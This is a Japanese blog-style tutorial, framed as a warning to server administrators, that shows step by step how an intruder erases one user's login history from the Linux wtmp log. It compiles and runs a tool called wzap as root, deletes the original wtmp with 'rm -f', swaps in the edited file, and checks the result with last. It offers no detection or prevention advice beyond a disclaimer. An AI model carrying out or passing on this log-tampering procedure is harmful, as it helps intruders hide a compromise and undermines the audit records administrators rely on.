実験環境:
Debian GNU Linux
前もって断っておく。ここで紹介するネタはクラックな人たちがやりそうな事を事前に紹介して、鯖管理者に認識して欲しいが為に紹介するネタである。したがって決して悪用してはならない!
ところで、クラックな人々が行う手法には「侵入した形跡を抹消する。」ということが上げられる。この行為は、侵入した場合には必ずと言っていいほど悪人は行うと思う。むしろこれを行わないクラッカーは相当まぬけであるとも言える。自分の侵入した形跡も消すが故意にその他のログも改ざんして管理者を困らせる愉快犯的な事も行う場合も有る。もし俺が悪人だとして無防備な鯖へ侵入したとしたら帰り際、痕跡を消すために真っ先にwtmpファイルを改ざんするだろう。
そこで、ここではwtmpファイルの改ざん方法を試してみることにする(あくまでも自己責任で実験してください)。
1.現在迄のリモートによるlogin履歴を見る
wtmpファイルは、/var/log直下に有り、wコマンドとかwhoコマンドとかlastコマンドの元になってるバイナリファイルである。したがって、このファイルを改ざんされたら痛い打撃だ。侵入した痕跡を残さないため、クラックな方々はこのファイルを改ざんするだろう。
root@hiro:~# cd /var/log/
root@hiro:/var/log# who ./wtmp
taro pts/1 May 6 08:00 (server.example.com)
taro pts/1 May 7 16:55 (server.example.com)
taro pts/1 May 8 08:47 (server.example.com)
taro pts/1 May 9 08:51 (server.example.com)
taro pts/1 May 9 09:31 (server.example.com)
hoge pts/1 May 19 08:57 (192.168.40.2)
hanako pts/2 May 19 08:59 (192.168.40.2)
以降、taroというユーザーでクラックな方がこの鯖への侵入が成功して、このtaroユーザでのloginの痕跡を残さないで抹消しようとしている事を仮定して説明する。
2.wzap.cを使う(wtmpファイルを空にするのは芸がない)
改ざんするとは言え、ファイルを空にすれば足跡が残らないのではないか?とまあ言い切る人もいるだろうが、管理者は馬鹿ではないので、wtmpファイルを「0」にしてあれば侵入されたということが直ぐに解るはずだ。クラックな人々はプロであるため侵入した痕跡を残さないのである。そのためには、侵入に使ったユーザアカウントだけ消しておけば良いことになる。しかし、wtmpはバイナリファイルであるためそう簡単には改ざんできない。そこで、wzapというCプログラムを使って特定のユーザ情報のみ消去出来るのでその方法を伝授する。
1)/tmpディレクトリで作業する
root@hiro:/var/log# cd /tmp/
2)wzap.cを作る
root@hiro:/tmp# vi wzap.c
内容に関しては ここ にあるソースをダウンロード。
3)wzap.cをコンパイルする
root@hiro:/tmp# gcc -o wzap wzap.c
root@hiro:/tmp# ls -al
途中省略
-rwxr-xr-x 1 root root 13038 2007-05-19 09:01 wzap
-rw-r--r-- 1 root root 963 2007-05-19 09:00 wzap.c
3.wzapを使ってみる
1)wzapの実行
root@hiro:/tmp# cd /var/log/
root@hiro:/var/log# /tmp/wzap
Enter username to zap from the wtmp: taro ←入力
opening file...
opening output file...
working...
2)カレントディレクトリに出力ファイルwtmp.outが有るかを確認
root@hiro:/var/log# ls -al
-rw-rw-r-- 1 root utmp 5760 2007-05-19 08:59 wtmp
-rw-rw-r-- 1 root utmp 19968 2007-04-27 15:04 wtmp.1
-rw-r--r-- 1 root root 3840 2007-05-19 09:04 wtmp.out
3)whoコマンドでwtmp.outファイルの中身を確認する
root@hiro:/var/log# who ./wtmp.out
hoge pts/1 May 19 08:57 (192.168.40.2)
hanako pts/2 May 19 08:59 (192.168.40.2)
taroユーザの痕跡が抹消されているのが解る。
4.wtmpファイルをすりかえて最終確認する
1)wtmpファイルとwtmp.outファイルをすりかえる
root@hiro:/var/log# rm -f wtmp
root@hiro:/var/log# mv wtmp.out wtmp
root@hiro:/var/log# chown root.utmp wtmp
2)lastコマンドで最終確認
root@hiro:/var/log# last
hanako pts/2 192.168.40.2 Sat May 19 08:59 - 08:59 (00:00)
hoge pts/1 192.168.40.2 Sat May 19 08:57 gone - no logout
wtmp begins Sun May 6 08:00:45 2007
間違いなくtaroユーザは抹消されている。
以上